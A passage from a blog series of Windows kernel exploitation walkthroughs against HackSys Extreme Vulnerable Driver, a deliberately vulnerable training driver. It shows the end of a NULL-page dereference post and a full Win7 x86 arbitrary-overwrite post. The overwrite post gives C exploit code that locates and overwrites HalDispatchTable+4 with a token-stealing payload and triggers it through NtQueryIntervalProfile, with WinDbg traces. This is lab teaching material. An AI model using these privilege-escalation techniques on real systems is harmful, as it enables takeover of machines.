	ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL)
	{
		printf("[-] Failed to export NtAllocateVirtualMemory.");
		exit(-1);
	}

Next we need to allocate the NULL page:

	// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
LPVOID baseAddress = (LPVOID)0x1;
ULONG allocSize = 0x1000;
char* uBuffer = (char*)NtAllocateVirtualMemory(
	GetCurrentProcess(),
	&baseAddress,						// Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
	0,
	&allocSize,
	MEM_COMMIT | MEM_RESERVE,
	PAGE_EXECUTE_READWRITE);

To verify if that’s working, put a DebugBreak and check the memory content after writing some dummy value.

DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret

kd> ? @esi
Evaluate expression: 0 = 00000000

kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov     dword ptr [esi],0AABBCCDDh

kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx   ecx,byte ptr [esi]

kd> dd 0
00000000  aabbccdd 00000000 00000000 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00000000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000

A nice way to verify the NULL page is allocated, is by calling VirtualProtect which queries/sets the protection flags on memory segments. VirtualProtect returning false means the NULL page was not allocated.


3. Controlling execution flow

Now we want to put our payload address at 0x00000004:

*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;

Now create a dummy buffer to send to the driver and put a breakpoint at HEVD!TriggerNullPointerDereference + 0x114.

kd> dd 0
00000000  00000000 0107129c 00000000 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00000000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000

Finally, after executing the token stealing payload, a ret with no stack adjusting will do.

Exploit_screenshot

4. Porting to Windows 7 x64

To port the exploit, you only need to adjust the offset at which you write the payload address as the struct size becomes 16 bytes. Also don’t forget to swap out the payload.

*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;

- Abatchy

[Kernel Exploitation] 7: Arbitrary Overwrite (Win7 x86)

24 January 2018 at 00:00

Exploit code can be found here.

Walkthroughs for Win 10 x64 in a future post.


1. The vulnerability

Link to code here.

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));

        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

The vulnerability is obvious, TriggerArbitraryOverwrite allows overwriting a controlled value at a controlled address. This is very powerful, but can you come up with a way to exploit this without having another vulnerability?

Let’s consider some scenarios (that won’t work but are worth thinking about):

  1. Overwrite a return address:
    Needs an infoleak to reveal the stack layout or a read primitive.

  2. Overwriting the process token with a SYSTEM one:
    Need to know the EPROCESS address of the SYSTEM process.

  3. Overwrite a function pointer called with kernel privileges:
    Now that’s a good one, an excellent documentation on a reliable (11-years old!) technique is Exploiting Common Flaws in Drivers.


hal.dll, HalDispatchTable and function pointers

hal.dll stands for Hardware Abstraction Layer, basically an interface to interacting with hardware without worrying about hardware-specific details. This allows Windows to be portable.

HalDispatchTable is a table containing function pointers to HAL routines. Let’s examine it a bit with WinDBG.

kd> dd HalDispatchTable     // Display double words at HalDispatchTable
82970430  00000004 828348a2 828351b4 82afbad7
82970440  00000000 828455ba 829bc507 82afb3d8
82970450  82afb683 8291c959 8295d757 8295d757
82970460  828346ce 82834f30 82811178 82833dce
82970470  82afbaff 8291c98b 8291caa1 828350f6
82970480  8291caa1 8281398c 8281b4f0 82892c8c
82970490  82af8d7f 00000000 82892c9c 829b3c1c
829704a0  00000000 82892cac 82af8f77 00000000

kd> ln 828348a2 
Browse module
Set bu breakpoint

(828348a2)   hal!HaliQuerySystemInformation   |  (82834ad0)   hal!HalpAcpiTimerInit
Exact matches:
    hal!HaliQuerySystemInformation (<no parameter info>)

kd> ln 828351b4
Browse module
Set bu breakpoint

(828351b4)   hal!HalpSetSystemInformation   |  (82835234)   hal!HalpDpReplaceEnd
Exact matches:
    hal!HalpSetSystemInformation (<no parameter info>)

First entry at HalDispatchTable doesn’t seem to be populated but HalDispatchTable+4 points to HaliQuerySystemInformation and HalDispatchTable+8 points to HalpSetSystemInformation.

These locations are writable and we can calculate their exact location easily (more on that later). HaliQuerySystemInformation is the lesser used one of the two, so we can put the address of our shellcode at HalDispatchTable+4 and make a user-mode call that will end up calling this function.

HaliQuerySystemInformation is called by the undocumented NtQueryIntervalProfile (which according to the linked article is a “very low demanded API”), let’s take a look with WinDBG:

kd> uf NtQueryIntervalProfile

...snip...

nt!NtQueryIntervalProfile+0x6b:
82b55ec2 call    nt!KeQueryIntervalProfile (82b12c97)

...snip...

kd> uf nt!KeQueryIntervalProfile

...snip...

nt!KeQueryIntervalProfile+0x14:
82b12cab mov     dword ptr [ebp-10h],eax
82b12cae lea     eax,[ebp-4]
82b12cb1 push    eax
82b12cb2 lea     eax,[ebp-10h]
82b12cb5 push    eax
82b12cb6 push    0Ch
82b12cb8 push    1
82b12cba call    dword ptr [nt!HalDispatchTable+0x4 (82970434)]
82b12cc0 test    eax,eax
82b12cc2 jl      nt!KeQueryIntervalProfile+0x38 (82b12ccf)  Branch

...snip...

Function at [nt!HalDispatchTable+0x4] gets called at nt!KeQueryIntervalProfile+0x23 which we can trigger from user-mode. Hopefully, we won’t run into any trouble overwriting that entry.


The exploit will do the following:

  1. Get HalDispatchTable location in the kernel.
  2. Overwrite HalDispatchTable+4 with the address of our payload.
  3. Calculate the address of NtQueryIntervalProfile and call it.

2. Getting the address of HalDispatchTable

HalDispatchTable exists in the kernel executive (ntoskrnl or another instance depending on the OS/processor). To get its address we need to:

  1. Get kernel’s base address in kernel using NtQuerySystemInformation.
  2. Load kernel in usermode and get the offset to HalDispatchTable.
  3. Add the offset to kernel’s base address.
SYSTEM_MODULE krnlInfo = *getNtoskrnlInfo();
// Get kernel base address in kernelspace
ULONG addr_ntoskrnl = (ULONG)krnlInfo.ImageBaseAddress;
printf("[+] Found address to ntoskrnl.exe at 0x%x.\n", addr_ntoskrnl);

// Load kernel in use in userspace to get the offset to HalDispatchTable
// NOTE: DO NOT HARDCODE KERNEL MODULE NAME
printf("[+] Kernel in use: %s.\n", krnlInfo.Name);
char* krnl_name = strrchr((char*)krnlInfo.Name, '\\') + 1;
HMODULE user_ntoskrnl = LoadLibraryEx(krnl_name, NULL,DONT_RESOLVE_DLL_REFERENCES);
if(user_ntoskrnl == NULL)
{
	printf("[-] Failed to load kernel image.\n");
	exit(-1);
}

printf("[+] Loaded kernel in usermode using LoadLibraryEx: 0x%x.\n",user_ntoskrnl);
ULONG user_HalDispatchTable = (ULONG)GetProcAddress(user_ntoskrnl,"HalDispatchTable");
if(user_HalDispatchTable == NULL)
{
	printf("[-] Failed to locate HalDispatchTable.\n");
	exit(-1);
}

printf("[+] Found HalDispatchTable in usermode: 0x%x.\n",user_HalDispatchTable);

// Calculate address of HalDispatchTable in kernelspace
ULONG addr_HalDispatchTable = addr_ntoskrnl - (ULONG)user_ntoskrnl +user_HalDispatchTable;
printf("[+] Found address to HalDispatchTable at 0x%x.\n",addr_HalDispatchTable);

3. Overwriting HalDispatchTable+4

To do this, we just need to submit a buffer that gets cast to WRITE_WHAT_WHERE. Basically two pointers, one for What and another for Where.

typedef struct _WRITE_WHAT_WHERE {
        PULONG_PTR What;
        PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Notice that these are pointers.

ULONG What = (ULONG)&StealToken;
*uBuffer = (ULONG)&What;
*(uBuffer + 1) = (addr_HalDispatchTable + 4);

DWORD bytesRet;
DeviceIoControl(
		driver,
		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
		uBuffer,
		SIZE,
		NULL,
		0,
		&bytesRet,
		NULL);

Now let’s test what we have. Put breakpoint right before the exploit gets triggered.

kd> bu HEVD!TriggerArbitraryOverwrite  0x61

kd> g
[+] UserWriteWhatWhere: 0x000E0000
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x0025FF38
[+] UserWriteWhatWhere->Where: 0x82966434
[+] Triggering Arbitrary Overwrite
Breakpoint 2 hit
HEVD!TriggerArbitraryOverwrite+0x61:
93d71b69 mov     eax,dword ptr [edi]

Next’ let’s validate the data.

kd> dd 0x0025FF38
0025ff38  00f012d8 bae57df8 0025ff88 00f014d9
0025ff48  00000001 002a06a8 0029e288 bae57d30
0025ff58  00000000 00000000 7ffdc000 2c407500
0025ff68  00000001 00769cbf 0025ff54 96a5085a
0025ff78  0025ffc4 00f01c7b ba30aa60 00000000
0025ff88  0025ff94 75ebee1c 7ffdc000 0025ffd4
0025ff98  77b23ab3 7ffdc000 779af1ec 00000000
0025ffa8  00000000 7ffdc000 00000000 00000000
kd> ln 00f012d8 
Browse module
Set bu breakpoint

 [C:\Users\abatchy\source\repos\HEVD\HEVD\shell32.asm @ 6] (00f012d8)   HEVD_f00000!StealToken   |  (00f01312)   HEVD_f00000!__security_check_cookie
Exact matches:
    HEVD_f00000!StealToken (void)

Ok good, we passed a pointer to the payload as expected. Let’s verify the “where” part.

kd> ln 0x82966434
Browse module
Set bu breakpoint

(82966430)   nt!HalDispatchTable+0x4   |  (8296648c)   nt!BuiltinCallbackReg

Where points to nt!HalDispatchTable+0x4 as expected, cool.

kd> p
HEVD!TriggerArbitraryOverwrite+0x63:
93d71b6b mov     dword ptr [ebx],eax
kd> p
HEVD!TriggerArbitraryOverwrite+0x65:
93d71b6d jmp     HEVD!TriggerArbitraryOverwrite+0x8b (93d71b93)
kd> dd HalDispatchTable
0052c430  00000004 006b7aaf 006b7ac3 006b7ad7
0052c440  00000000 004015ba 00578507 006b73d8
0052c450  006b7683 004d8959 00519757 00519757
0052c460  004d8966 004d8977 00000000 006b8de7
0052c470  006b7aff 004d898b 004d8aa1 006b7b11
0052c480  004d8aa1 00000000 00000000 0044ec8c
0052c490  006b4d7f 00000000 0044ec9c 0056fc1c
0052c4a0  00000000 0044ecac 006b4f77 00000000

4. Triggering the payload

Like explained earlier, we need to call NtQueryIntervalProfile which address can be resolved from ntdll.dll.

// Trigger the payload by calling NtQueryIntervalProfile()
HMODULE ntdll = GetModuleHandle("ntdll");
PtrNtQueryIntervalProfile _NtQueryIntervalProfile =(PtrNtQueryIntervalProfile)GetProcAddress(ntdll,"NtQueryIntervalProfile");
if (_NtQueryIntervalProfile == NULL)
{
	printf("[-] Failed to get address of NtQueryIntervalProfile.\n");
	exit(-1);
}
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);

snip


Full code to exploit here.

- Abatchy

❌
❌